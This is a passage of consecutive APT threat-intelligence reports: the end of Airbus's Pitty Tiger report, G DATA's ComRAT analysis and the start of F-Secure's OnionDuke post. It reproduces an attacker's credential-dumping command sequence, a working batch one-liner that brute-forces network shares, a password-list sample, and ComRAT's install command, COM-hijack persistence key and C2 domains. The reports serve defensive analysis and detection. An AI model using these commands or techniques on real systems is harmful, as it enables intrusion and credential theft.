defense company which has been compromised.
According to the name of the files and the general
feel of the archive, we do think it was extracted by the attackers to “show” someone what kind of
data they could get from the compromise of that particular target.
The documents were still
exhibiting comments from various users, showing it was an ongoing work and not old documents.
Interestingly enough, we saw a part of these documents appear on Virus-Total, with an additional
“gift” from the attackers, a payload dropping a malware.
There are only two options we can think of here:
 Someone from the same company has been targeted with this document.
 Someone from another company has been targeted with this document.
This other company
could be a partner or competitor.
Since we were unable to determine the intended use of this specific document, we can only suppose
that it could be used to provide commercial advantages to competitors of that company, or used by
a foreign state.
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Operation Pitty Tiger – “The Eye of the Tiger”
ATTACKERS
During our investigation, we found out interesting information about the Pitty Tiger group itself.
After
analyzing the various collected elements, we have tried to draw a portrait of this particular threat.
ATTACKER’S CONNECTIONS TO THE C&C
We have been able to get all the RDP connections logs to one c&c server:
COMPUTER NAME              OCCURENCES IP ADDRESSES COUNTRY
23.226.178.162             USA
27.155.90.80              China
27.155.110.81              China
27.156.49.223              China
58.64.177.60            Hong Kong
59.53.91.33               China
103.20.192.11            Hong Kong
50PZ80C-1DFDCB8                     65              110.90.60.250              China
110.90.61.69              China
110.90.62.185              China
120.32.113.97              China
120.32.114.209             China
121.204.33.130             China
121.204.33.153             China
183.91.52.230            Hong Kong
27.151.0.224              China
27.155.109.89              China
FLY-THINK                     11
121.204.88.120             China
120.32.114.139             China
TIEWEISHIPC                     2              27.16.139.143              China
CHMXY-PC                       1                58.61.40.5               China
RDP connections from attackers machines to one particular c&c, from beginning of April 2014 to beginning of July 2014
These connections are either VPS or dynamic IP addresses, mostly from China.
A computer named CHMXY-PC connected to the c&c via RDP with IP address 58.61.40.5.
The IP is
in an ADSL dynamic pool in the Gangzhou area (Guangdong province):
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Operation Pitty Tiger – “The Eye of the Tiger”
IP address used by CHMXY-PC
A few connections to the c&c were done by a computer named TIEWEISHIPC with IP address
27.16.139.143.
This IP address belongs to an ADSL dynamic pool in the Wuhan area (Hubei’s
provincial capital).
IP address used by TIEWEISHIPC computer
Some connections to the c&c originated from a computer named FLY-THINK with several IP
addresses, all located in Fuqing (Fujian province).
The IP addresses are in an ADSL dynamic pool:
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Operation Pitty Tiger – “The Eye of the Tiger”
IP addresses used by the FLY-THINK machine
Most of the connections to the c&c server were coming from a computer named 50PZ80C-
1DFDCB8 with several IP addresses.
There are 11 IP addresses from Chinese dynamic ADSL
ranges: 9 from Fuqing (Fujian province), one from Fuzhou (Fujian’s province capital) and one from
Nanchang (Jiangxi’s province capital).
The last one came from a VPS instance located in Los
Angeles (California, USA) but purchased by a China based VPS provider XeVPS which belong to
the AS38197 (Sun Network Hong Kong Limited).
IP addresses used by the 50PZ80C-1DFDCB8 machine
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
The two computers FLY-THINK and 50PZ80C-1DFDCB8 have used distinct IP addresses to
connect to the c&c, yet some of these IP addresses come from the same IP range:
IP ranges overlapping between two machines used by the attackers
We mapped these RDP connections to have a graphical view:
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Operation Pitty Tiger – “The Eye of the Tiger”
RDP connections from the attackers to one c&c server
“TOOT”
We found that a member of this group of attackers used some tools on his own system, for testing
purposes.
This information was still available when we got access to the c&c server.
He launched some tests with the CT RAT we exposed earlier:
User “Toot” logging on the CT RAT on machine “toot-2a601225a8”, 2014/02/10
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
User “Toot” logging on the CT RAT on machine “toot-2a601225a8”, 2014/04/09
User “Toot” logging on the CT RAT on machine “toot-2a601225a8”, 2014/04/09
Here we can see a user “Toot” from a machine named “toot-2a601225a8” logging in the CT RAT
and executing some commands.
The c&c IP address, 198.100.113.27, can be seen there.
Other log
files showed that “Toot” is using virtual machines for his tests.
We can also see the system: Microsoft Windows XP SP3.
The “P” field is the language ID.
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Operation Pitty Tiger – “The Eye of the Tiger”
1028 means “Chinese traditional”.
We have also seen tests run by “toot” with a language ID of 2052,
which is “Chinese simplified”.
The “M” field is probably used for versioning.
It is a hardcoded string in the binary.
After these tests, we could see some real connections to a victim using this RAT.
Here is a follow-up
of the commands launched by the bot controller, in a standard command-line shell:
Command                                       Effect
cd\temp                                       Folder change
Dir                                           Lists the content of the folder.
The
attacker here is probably looking for his
tools and does not remember if they
are there or in system32.
cd\windows\system32                           Folder change
dir tools*                                    Looking for tools.exe, a tool to fetch
different kind of credentials on the
system
tools                                         The attacker wants to see what the
options are for the tool.
tools –all                                    Tools.exe is launched.
At this point, the output shows the
attackers only gets successfully one
MSN credential in clear text, login and
password, and one Microsoft Outlook
credential.
type iecache.txt                              Shows the Internet Explorer cache to
the attacker.
The output is huge.
dir cmd.exe                                   Looking for cmd.exe
del tools.exe                                 Remove the tools.exe after its use
dir tools.exe                                 Checks to see if it has been
successfully deleted
del iecache.txt                               Removes the IE cache log file.
regedit -e 1.reg                              Dumps the content of this key to a file
"HKEY_CURRENT_USER\Software\Microsoft\Windows named 1.reg
NT\CurrentVersion\Windows"
type 1.reg                                    Checks if dump has been successful.
del 1.reg                                     Deletes the dump
regedit -e v1.reg                             Do it again, we do not know why the
"HKEY_CURRENT_USER\Software\Microsoft\Windows attacker does this the output is the
NT\CurrentVersion\Windows"                    same as for previous regedit command
type v1.reg                                   Checks the dump again
dir *.reg                                     Looking for traces left in this folder
del v1.reg                                    Deletes the one *.reg file left.
del c:\windows\system32\mfqtirq.exe           Removes a binary used in the attack
del c:\windows\system32\crupalo.dll           Removes a binary used in the attack
dir c:\windows\system32\mfqtirq.exe           Checks      if   removal      has      been
successfull
dir c:\windows\system32\crupalo.dll           Checks      if   removal      has      been
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Operation Pitty Tiger – “The Eye of the Tiger”
successfull
tasklist                                                               Displays the list of applications and
services for all tasks running on the
computer
tasklist >1.txt                                                        Stores the output of the previous
command in 1.txt
type 1.txt                                                             Checks the content
del 1.txt                                                              Removes the content
net start                                                              Lists all services running on the
machine
dir mailpv*                                                            Looks for “MailPass View”, a tool to
extract e-mail passwords from various
e-mail clients
mailpv /stext 1.txt                                                    Launches MailPass View and requests
the output to be generated as a text file
named 1.txt
type 1.txt                                                             Looks for the content :
 One MSN login/password
 One login/password for a POP3
e-mail account related to the
targeted entity
del mailpv.exe 1.txt                                                   Deletes both files
dir iepv*                                                              Looks for “IE PassView” tool, to extract
passwords from Internet Explorer.
Public domain.
iepv /stext 1.txt                                                      Launches the tool, output is a text file
named 1.txt
type 1.txt                                                             Looks for the output: none
del iepv.exe 1.txt                                                     Deletes both files
The attacker goes on like this, using his tools, and then ends the communication with this RAT on
that computer.
Please note that at this point, the attacker has at least the privileges of a local administrator, since
he is allowed to write content in the system32 folder of a Windows XP system.
He could also gain
the credentials to a sensitive e-mail account.
In addition to all information already shown, we saw Toot connect to an account on a cloud service
named “Baidu Drive”.
The e-mail address linked to this account is dyanmips@qq.com (QQ-ID:
2589315828).
We could find traces of two other e-mail accounts associated to Toot,
cisco_dyanmips@qq.com (QQ ID: 204156335) and cisco_dynamips@qq.com (QQ ID:
1878836793).
We did not find more information about user “Toot”, yet we miss Chinese language capabilities.
Public release
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
“COLD & SNOW”
The controller part of CT RAT/PittyTiger RAT revealed the following “about” information, once
translated from Chinese to English language:
CT console (compatible pittytiger) v1.3
2013.12 by Trees and snow
We believe this translation of the author’s name might not be accurate due to the use of automated
translation tools.
Moreover, we have strong suspicions that there is not a single individual
nicknamed “Trees and snow” but rather two programmers nicknamed “Trees” and “Snow”.
“Trees”
could also be “Cold”.
We noticed that the symbol for this word is translated differently according to
the context it is used in.
Once again, we lack Chinese language skills.
We identify the two nicknames on the current campaign as Automn Snow (秋雪) and Cold Air Kiss (
风吻寒).
While we are confident that these people are indeed the developers of both PittyTiger and CT RAT
malware, we are not sure they belong to the PittyTiger group.
These developers might just have
been hired to develop these RATs.
They might also just be selling it to the PittyTiger group.
There is
no trace of usage from other attacking groups, we believe the PittyTiger RAT is exclusively used by
this group of attackers.
ROLES AND ORGANIZATION
According to indicators we gathered and threat activities profiling we have some hypothesis on the
way the group is conducting its operations.
We have strong evidence of a bot operator position.
We identify one nickname for this position, the
user known as TooT.
As we did not see other nickname, we think that TooT is one person and not a
group of persons.
We also identified a malware development position.
We identified two nicknames for this position on
the current campaign, Automn Snow (秋雪) and Cold Air Kiss ( 风吻寒).
Yet we are unsure that they
belong to the group, they might just be a third party providing or selling their malware.
We have a strong suspicion of a coordinator position, which coordinates the bot operator, provides
him with some logistics support (weaponized document, tools…) and reviews the programmers
work.
This position could imply a communication channel with another manager.
We named this position ‘Chen’, in relation with several references of this common Chinese name in
c&c WHOIS and other investigation materials.
We have some suspicion of a customer relationship manager position that may act as an interface
between a customer and Chen.
We named this position ‘Lilly’.
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
Proposal for PittyTiger team structure
ATTACKERS ARSENAL
The c&c servers used by the attackers revealed a lot of interesting files stored in various folders:
Filename                    Description                                                   Public tool ?
32m.exe    /   3200.exe   / MM RAT                                                        No
ieupdate.exe / insert.exe /
khuvaxu.exe
32mm.exe / mm32.exe         CT RAT                                                        No
322.exe                     Chinese version of calc.exe, probably for                     Yes
testing purposes
client.exe                  File transfer tool, via pipes                                 No
CP.exe/CP_sep.exe           Microsoft Outlook dumper                                      No
CT.exe                      Controller for CT RAT (2013.10)                               No
ct1.exe                     Controller for both CT RAT and PittyTiger RAT                 No
Diruse.exe                  Tool to display disk usage for a directory tree               Yes
GlobalWind.exe              Controller for Pitty Tiger                                    No
gsec1.exe                   GSecDump password dumper                                      Yes
http.exe/wsup.exe           Controller for MM RAT                                         No
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Operation Pitty Tiger – “The Eye of the Tiger”
km.exe                              “Toyi” keylogger                                       No
logreader.exe                       Tool to decrypt the km.exe keylogger data              No
Mailpv.exe                          “Mail PassView” tool, to extract e-mail                Yes
passwords from various e-mail clients.
Netpass.exe                         “Network Password Recovery” tool, to extract           Yes
network passwords.
iepv.exe /iepv-jiake.exe            “IE PassView” tool, to extract passwords from          Yes
Internet Explorer.
The file iepv-jiake.exe is the same, but crypted
using a tool named DarkCrypt (DarkCrpt).
routerpass.exe                      “Router PassView” tool, to extract credentials         Yes
in some router backup files.
pstpass.exe                         “PstPassword” tool, to extract Outlook’s PST           Yes
files passwords.
vncpass.exe                         “VNCPassView” tool, to extract passwords               Yes
stored by the VNC tool.
rdpv.exe                            “Remote Desktop PassView” tool, to extract             Yes
the passwords from .RDP files.
lookpass.exe                        Password revealer.
Yes
tools.exe, res.exe                  Multi             password              dumper:        No
RDP,VNC,IE,ProtectedStorage,MSN,Wireless,
etc.
p2012.exe                           Controller for Paladin 2.1                             No
p.exe                               Controller for Paladin 2.2                             No
po.exe                              TCP Tunneling tool.
No
pp.exe                              Controller for Paladin 2.1                             No
pr.exe                              Dotpot port scanner.
Yes
rar.exe                             Rar archiving tool, command-line version.
Yes
sff.exe                             File-searching tool to hunt for doc,txt,mdb,           No
sec,eml,vsd,ppt,pps,dbx (SearchFile).
ssql.exe                            MySQL scanner.
No
w7ij32.exe                          Windows 7 DLL injector.
No
ToyI.dll                            Keylogger.
Can be used with w7ij32.exe                 No
winspre.exe                         Troj/ReRol.A                                           No
dr.asp                              Front-end for Troj/ReRol.A.
No
sk.exe                              Snake’s SkServer.
Yes
Fluxay5Beta1                        Vulnerability scanner                                  Yes
feitafanghuoqiang                   Fortinet vulnerability scanner                         No
Hscan1.2                            Vulnerability scanner                                  Yes
mimi.exe, mimikaz64.exe             Mimikatz password dumper                               Yes
o2scan                              Vulnerability scanner                                  Yes
Openssl                             Heartbleed Exploit                                     Yes
X-Scan-v3.3                         X-Scan vulnerability scanner                           Yes
8uFTP                               FTP client                                             Yes
NcFTP                               FTP client                                             Yes
SEPM exploit                        Remote command execution exploit on                    Yes
Symantec Endpoint Protection Manager (CVE-
2013-5014, CVE 2013-5015)
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Operation Pitty Tiger – “The Eye of the Tiger”
s.exe                                   PHP Scanner                                                 No
Shanian Port Scanner                    Port scanner                                                Yes
This is quite the usual arsenal for a group of APT attackers:
   Malware (Troj/ReRol.A)
   Remote Administration Tools (MM RAT, CT RAT, Pitty Tiger, Paladin)
   E-mail espionage tools (cp.exe, mailpv.exe)
   Passwords dumpers (gsecdump, NirSoft tools, Mimikatz etc.)
   Network scanners (pr.exe)
   Network-oriented tools (po.exe)
   Vulnerability scanners (ssql.exe, Fluxay, etc.)
What is rare to find is the controller part of those tools.
We have been lucky enough to get the
controller part of Pitty Tiger and CT RAT, and even to get a kind of hybrid controller made for CT
RAT but also supporting Pitty Tiger.
We suppose that the CT RAT is the new evolution of Pitty Tiger
and that it will replace Pitty Tiger in the following months.
The presence of a Chinese version of “calc.exe”, the official calculator provided in Microsoft
Windows, is interesting.
Not only is it one more indicator of a probable Chinese origin, but also an
indicator that this server was probably used as a test base, in addition to being operational and
controlling infected machines from different targets.
In addition to those tools, we found some interesting scripts.
A script named ipc.bat uses a file
named user.txt to try to brute-force a shared folder access:
for /f "tokens=1,2 delims= " %%i in (user.txt) do (net use \\<TARGETEDIP>\ipc$ "%%j" /u:%%i)
&& (net use \\<TARGETEDIP> /del) && (echo user:%%i pass:%%j>>succ.txt)
One script used to brute-force a network share inside a company’s network
The user.txt file contains thousands of lines, each one being a couple of one particular username
and one password attempt:
administrator nameofonetargetedcompany
administrator !Password
administrator azerty123
…
administrateurnameofonetargetedcompany
administrateur !Password
administrateur azerty123
…
<username>nameofonetargetedcompany
<username> !Password
<username> azerty123
…
<anotheruser>nameofonetargetedcompany
<anotheruser> !Password
<anotheruser> azerty123
…
Anonymized dictionary file used for brute-forcing a network share
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Operation Pitty Tiger – “The Eye of the Tiger”
This user.txt file has been anonymized, yet we wanted to give you the feel for it.
This file is 67320
lines long, and uses 5610 different passwords for each of 12 users contained in this file.
The user
names are clearly the result from a user enumeration and are dedicated to a particular French
victim.
The passwords listed in this file are either build from several campaigns or from the current
campaign.
A lot of passwords are related to the targeted company and might be previous passwords
from users.
We have also discovered a pack of files which can be used to trigger an Internet Explorer
vulnerability (CVE-2014-0322).
The date of these files, namely Tope.swf and index.html, was
2014/02/18, a few days after the revelation of existing exploits in the wild used in APT attacks1.
We do not know if the Pitty Tiger group used this exploit or not, but found no trace indicating they
did.
A lot of different attackers seem to have used that vulnerability since.
1
http://www.symantec.com/connect/blogs/new-internet-explorer-10-zero-day-discovered-watering-
hole-attack
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
ATTRIBUTION
Determining who is exactly behind an APT campaign is difficult.
We tried to extract different
technical indicators, together with contextual elements.
Information relating to the tools used by the attackers has been leveraged for attribution:
   Several Chinese vulnerability scanners have been launched against targets;
   Several Chinese tools have been used and found on the c&c servers of the attackers:
8uFTP, a Chinese version of calc.exe, etc.
;
   Two of the used RATs have been developed by the same developers: CT RAT and
PittyTiger RAT.
The controllers for these RATs show Chinese language;
   Several binaries used by the attackers show either “Chinese - China” or “Chinese-Taiwan”
language ID in their resources;
   A decoy Word document has been found, written in Chinese language;
The IP addresses used for the hosting of the c&c domains are mainly located in Taipei (Taïwan) and
Hong Kong City (Hong Kong Special Administrative Region, PRC):
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Operation Pitty Tiger – “The Eye of the Tiger”
Hosting information links for the c&c servers used in this campaign
Most RDP connections to the c&c infrastructure come from Chinese IP ranges in Fuqing (Fujian
province, PRC).
Yet some IP addresses in the USA and in Hong Kong have also been found;
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
RDP connections from attackers to the c&c infrastructure
All the items listed in this chapter are strong indicators that the attackers might be Chinese.
Public release
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
CONCLUSION
Pitty Tiger is a group of attackers that have been active since at least 2011.
Pitty Tiger is effective and mature in the use of targeted malware, the use of known exploits to infect
computers with their malware and the creation of an infrastructure to efficiently conduct APT attacks.
They are quite unprofessional in their way of using their infrastructure: they do launch vulnerability
scanners directly from a c&c server and also use their connection for personal activities
(downloading pornographic material for example, as we have seen a whole folder on a c&c server
full of xxx torrent links).
Pitty Tiger is probably not a state-sponsored group of attackers.
The attackers lack the experience
and financial support that one would expect from state-sponsored attackers.
We suppose this group
is opportunistic and sells its services to probable competitors of their targets in the private sector.
One governmental network has been targeted by the group, yet we do not have any evidence of the
purpose of this attack.
We suppose this particular attack has been executed to provide a usable
bounce for the group.
The campaign we studied has been largely focused on one particular target.
We suspect the Pitty
Tiger group to work according to an opportunistic business model: this group might offer its services
to third parties from the private sector.
This group seems to be very small compared to other APT groups.
We have leveraged several
profiles and could identify some attackers to a certain extent.
We believe this group might keep
working as it is now, with limited budgets, or grow to extend its attacking campaign capabilities.
Public release
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
INDICATORS
This list of indicators is provided in order to help people detect Pitty Tiger APT campaign.
DOMAINS
Domains used by the Pitty Tiger group: (please note several subdomains are used, as seen in the
report)
acers.com.tw
kimoo.com.tw
paccfic.com
foxcom.com.tw
dopodo.com.tw
trendmicroup.com
lightening.com.tw
avstore.com.tw
helosaf.com.tw
trendmicro.org.tw
stareastnet.com.tw
symantecs.com.tw
seed01.com.tw
skypetm.com.tw
MALWARE HASHES
MD5 Hashes                                                       Malware Family
dc3d905ed90bbc148bccd34fe0c94d2d
dd87c68c1e71bb104a48a6be87a2349f
a494010a51705f7720d3cd378a31733a
be18418cafdb9f86303f7e419a389cc9
0750569cf1733d4fbb01169476387cc2
3282a5e77f24c645984ef152a2aea874                                                    PittyTiger RAT
8a54adb3976d1c03605656ca55be7400
666ae21ceaea9bb8017a967ea6128add
a1ea6dc12b983c7262fe76c1b3663b24
d5da60d678d5a55a847e1e6723c7a4d0
55e456339936a56c73a7883ea1ddb672
abb0abfab252e45bfb9106273df3c1c2
4ab74387f7a02c115deea2110f961fd3
b6380439ff9ed0c6d45759da0f3b05b8
bf95e89906b8a17fd611002660ffff32
ce15fa3338b7fe780e85c511d5e49a98                                                     Troj/ReRol.A
5e2360a8c4a0cce1ae22919d8bff49fd
12854bb8d1e6a590e1bd578267e4f8c9
5e2360a8c4a0cce1ae22919d8bff49fd
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Operation Pitty Tiger – “The Eye of the Tiger”
c0656b66b9f4180e59e1fd2f9f1a85f2
79e48961d1ee982a466d222671a42ccb
33714886dad497d6f0ecc255f0399004
3b498f19d467d2b8d4c778a92cacae9a
f71b374d341dc55b9b825531ba843f6d
8df89df484ca5c376b763479ea08d036                                                   Paladin RAT
0d3b3b422044759b4a08a7ad8afe55c7
789c23dfcd67a5543769a3f0261ea325
96a59b9813202734f59ae809105e73d1
26be2cbb00158dfab6c81976d93748e8
e7dc3bbe8b38b7ee0e797a0e27635cfa
4ce8593c9de2b27b5c389f651c81638b                                                        CT RAT
f65dc0b3eeb3c393e89ab49a3fac95a8
b0a4302789e9716705d30ad1f8775a84
81fa811f56247c236566d430ae4798eb                                        MM RAT (aka Troj/Goldsun-B)
3654496539faedfe137a1f989359aef0                                                Leo RAT
MALWARE STRINGS
Strings (File/Network)                         Data type                         Malware Family
/FC001/GET                                    File string / Network string                  PittyTiger RAT
---PittyTiger                                            File string                        PittyTiger RAT
netsvcs_0x%d                                             File string                         Paladin RAT
\MSREVT.SRG                                              File string                         Paladin RAT
/httpdocs/mm/<bot_id>/ComMand.sec                      Network string                          MM RAT
/httpdocs/prx.sec                                      Network string                          MM RAT
CmdShell closed.
File string                           MM RAT
get file ok %u bytes                                     File string                            CT RAT
ok sleep %d minutes.
File string                            CT RAT
can't open mmfile                                        File string                         Troj/ReRol.A
Mozilla/4.0 (compatible;)                               User-Agent                           Troj/ReRol.A
/dr.asp                                                Network string                        Troj/ReRol.A
Public release
Threat Intelligence
“The Eye of the Tiger”                                 Page : 58/58
Copyright © 2014 Airbus Defence & Space - All rights reserved
The Uroburos case: new sophisticated RAT identified
In February 2014, the experts of the G DATA SecurityLabs published an analysis of Uroburos, the
rootkit with Russian roots.
We explained that a link exists between Uroburos and the Agent.BTZ
malware, which was responsible for "the most significant breach of U.S. military computers ever."
[1] Nine months later, after the buzz around Uroburos, aka Snake or Turla, we now identified a new
generation of Agent.BTZ We dubbed it ComRAT and, by now, analyzed two versions of the threat
(v3.25 and v3.26).
As reported earlier this year, Agent.BTZ used the same encoding key and the installation log file name as Uroburos.
ComRAT, in its version 3.25, shows the same behavior.
Furthermore, the attackers also shared a C&C domain.
The
latest version of ComRAT known to us (v3.26) uses a new key and does not create the installation log file, in order to
complicate the analysis and to disguise the link between the two cases.
Another very interesting fact: the attackers use COM Object hijacking, the same persistence mechanism as
COMpfun, which we described recently.
Taken everything into consideration, the indications we saw during our analyzes lead to the supposition that the
group behind Agent.BTZ and Uroburos is still active and is pursuing the Agent.BTZ path once more to improve and
change the RAT.
Dropper
The analyzed file is the latest version we identified: v3.26.
The version identification is described in the chapter “Log
files”.
The major difference between this version and the older version(s) will be described there.
File installation
The first task of the malware is to install the file credprov.tlb in %APPDATA%\Microsoft\.
This file is the main
payload of the malware.
The dropper executes the following command in order to install a second file:
rundll32.exe %APPDATA%\Microsoft\credprov.tlb,Install %APPDATA%\Microsoft\shdocvw.tlp
The second file is shdocw.tlp.
The two files are Microsoft Windows dynamic libraries.
Persistence
To be started during the boot process of the infected machine, the malware creates the following registry key:
HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32 =
%APPDATA%\shdocvw.tlp
This registry key is used to associate the library shdocvw.tlp to the object 42aedc87-2188-41fd-b9a3-0c966feabec1
as previously explained in the article about COMpfun.
The purpose is to load the library into each and every process
executed on the infected system.
Dropper’s log file
If the version of the malware is older than 3.26, the dropper creates an additional file called winview.ocx.
We
noticed that the file name is still the same as the file name used by Agent.BTZ in the past.
The file is xored with the
following obfuscation key (used by both, Uroburos and Agent.BTZ):
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s
Here is the decoded log file content:
user1@gdata$ ./decode.py winview.ocx
Log begin: 06.11.2014 22:55:55
TVer=2.2
06.11.2014 22:55:55 TVer=2.3
06.11.2014 22:55:55 CFG: CFG_4
06.11.2014 22:55:55 User: user1
06.11.2014 22:55:55 Machine: x86
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.dll [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\oleaut32.tlb [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.dll [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\\Microsoft\\libadcodec.tlb [2]
06.11.2014 22:55:55 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\shdocvw.tlb 51200B
Ok
06.11.2014 22:55:56 Writing C:\Documents and Settings\user1\Application Data\\Microsoft\\credprov.tlb
260096B Ok
06.11.2014 22:55:57 Exit code1 0
06.11.2014 22:55:57 Writing 3072B Ok
We can notice that the malware checks if an older version is installed on the system and if this is the case, the
dropper removes the older version.
In contrast to this, in our Uroburos analysis, we found out that Uroburos does
not install itself in case a version of Agent.BTZ was found on a system.
Execution flow and features
During the startup of the infected machine, the shdocvw.tlp library is loaded into all processes.
If the process is
explorer.exe, this library will load the other library called credprov.tlb.
This library is the real payload.
Its features
are common for a Remote Administration Tool (RAT):
command execution;
file download;
file upload;
information gathering.
ComRAT’s communication to the command and control server is performed by the browser process and not by
explorer.exe in order to avoid being blocked by a firewall on the system or any additional security products.
The
communication between the processes is performed by named pipe.
Log files
Two log files are created during the malware execution: mskfp32.ocx and msvcrtd.tlb.
If the malware version is
older than 3.26, the xored key is the same as the dropper key.
Concerning the version 3.26, the malware uses a new
non-ASCII key.
Here is an example of decoded log file for the version 3.26:
user1@gdata$ ./decode.py mskfp32.ocx
<?xml version="1.0" encoding="unicode"?>
<Ch>
<TVer>2.1</TVer>
<AppendLog>0</AppendLog>
<add key="Id" value="168466483094462" />
<add key="PVer" value="3.26" />
<add key="OSVer" value="512600 Service Pack 30" />
<add key="Machine" value="x86" />
<add key="CryptKeyType" value="3" />
<add key="CryptKeyId" value="0" />
<add ke="IsAdmin" value="1" />
<add key="Http idx1" value="4294967295" />
<add key="Http idx2" value="4294967295" />
<add key="Http timeout" value="60" />
<add key="Time" value="06:11:2014 15:54:34" />
<add key="Bias" value="-2" />
<add key="PcName" value="USER1-ABC1234" />
<add key="UserName" value="user1" />
<add key="WinDir" value="C:\\WINDOWS" />
<add key="TempDir" value="C:\\DOCUME~1\\user1\\LOCALE~1\\Temp\\" />
<add key="WorkDir" value="C:\\ Documents and Settings\user1\Application Data\\Microsoft\\" />'
</Ch>
We can identify the version of the malware thanks to the PVer flag.
The command and control server information is
stored in the registry, not in an XML, and encoded:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionMRU\IPlace
For example, in the analyzed sample the CC is: weather-online.hopto.org.
This domain is far from unknown, as it
has been mentioned in BAE System’s Uroburos (aka Snake) analysis paper as C&C server domain for the Uroburos
malware.
Another connection between the cases.
If the malware version in lower than 3.26, the XML log file contains the command and control server information:
[…]
<add ke="IsAdmin" value="1" />
<add key="Http address" value="webonline.mefound.com" />
<add key="Http address" value="sportacademy.my03.com" />
<add key="Http address2" value="easport-news.publicvm.com" />
<add key="Http address2" value="new-book.linkpc.net" />
<add key="Http idx1" value="4294967295" />
[…]
Summary
Let us summarize the similarities and differences between Agent.BTZ, Uroburos and ComRAT as far as we can:
Similarities:
Before version 3.26:
use of the same xor key
use of the same file name for the log
On all versions:
Some parts of the code are exactly the same (appears to be copy & paste)
That is the reason why the sample is detected as Uroburos (aka Turla).
The same code was used by Agent.BTZ
and also the dll loaded into userland during the Uroburos analysis.
Command and control server domains are shared between Uroburos and ComRAT.
Differences:
In version 3.26, the author changed the key and remove the known file name
This action can be an indication for the developer’s effort to hide this connection
The main difference is the design
Agent.BTZ is a common RAT, a simple library executed on an infected machine.
ComRAT is more complex
and cleverer.
The malware is loaded into each and every process of the infected machine and the main part
(payload) of the malware is only executed in explorer.exe.
Furthermore, the C&C communication blends into
the usual browser traffic and the malware communicates to the browser by named pipe.
It is by far a more
complex userland design than Agent.BTZ.
These differences, mainly the more complex design, lead us to give this malware a new name.
The analyzed dropper of v3.25 has a compilation date of February 6th 2014.
The more recent dropper of v3.26,
which has all the mentioned changes implemented, reveals a compilation date of January 3rd 2013.
We suspect that
this date is spoofed in order to disguise that this is in fact a newer version.
Conclusion
This analysis shows that even after the Uroburos publication in February 2014, the group behind this piece of
malware seems to be still active.
In any case, the ComRAT developers implemented new mechanisms, changed keys,
removed log files to hide their activities and tried to disguise the connections between the RAT ComRAT, the rootkit
Uroburos and the RAT Agent.BTZ as much as possible.
However, we can still follow the evolution of the malware by
comparing the versions.
The persistence mechanism discovered in October 2014 makes it possible to intrude into a system in a really discreet
manner and we estimate that other actors will use the same persistence mechanism in the near future.
We will definitely keep our ears and eyes open and continue analyzing.
IOC
MD5
51e7e58a1e654b6e586fe36e10c67a73 (dropper v3.25)
e6ce1f962a47479a86ff2e67129f4ecc (lib1, v3.25)
ec7e3cfaeaac0401316d66e964be684e (lib2, v3.25)
0ae421691579ff6b27f65f49e79e88f6 (dropper v3.26)
255118ac14a9e66124f7110acd16f2cd (lib1 v3.26)
b407b6e5b4046da226d6e189a67f62ca (lib2, v3.26)
8ebf7f768d7214f99905c99b6f8242dc (dropper, unknown version)
9d481769de63789d571805009cbf709a (dropper, unknown version)
83a48760e92bf30961b4a943d3095b0a (lib 64-Bit, unknown version)
ea23d67e41d1f0a7f7e7a8b59e7cb60f (lib 64-Bit; unknown version)
Paths
%APPDATA%\\Microsoft\\shdocvw.tlb
%APPDATA%\\Microsoft\\oleaut32.dll
%APPDATA%\\Microsoft\\oleaut32.tlb
%APPDATA%\\Microsoft\\credprov.tlb
%APPDATA%\\Microsoft\\libadcodec.dll
%APPDATA%\\Microsoft\\libadcodec.tlb
Registry
HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32
Command and control
weather-online.hopto.org
webonline.mefound.com
sportacademy.my03.com
easport-news.publicvm.com
new-book.linkpc.net
-------------------------------
Related articles:
October 30th 2014: COM Object hijacking: the discreet way of persistence
June 2nd 2014: Analysis of Uroburos, using WinDbg
May 13th 2014: Uroburos rootkit: Belgian Foreign Ministry stricken
March 3rd 2014: Uroburos - Deeper travel into kernel protection mitigation
February 28th 2014: Uroburos - highly complex espionage software with Russian roots
-------------------------------
[1] www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain
OnionDuke: APT Attacks Via the Tor Network - F-Secure Weblog :
News from the Lab
Recently, research was published identifying a Tor exit node, located in Russia, that was consistently and
maliciously modifying any uncompressed Windows executables downloaded through it.
Naturally this
piqued our interest, so we decided to peer down the rabbit hole.
Suffice to say, the hole was a lot deeper
than we expected!
In fact, it went all the way back to the notorious Russian APT family MiniDuke, known
to have been used in targeted attacks against NATO and European government agencies.
The malware
used in this case is, however, not a version of MiniDuke.
It is instead a separate, distinct family of malware
that we have since taken to calling OnionDuke.
But lets start from the beginning.
When a user attempts to download an executable via the malicious Tor exit node, what they actually
receive is an executable "wrapper" that embeds both the original executable and a second, malicious
executable.
By using a separate wrapper, the malicious actors are able to bypass any integrity checks the
original binary might contain.
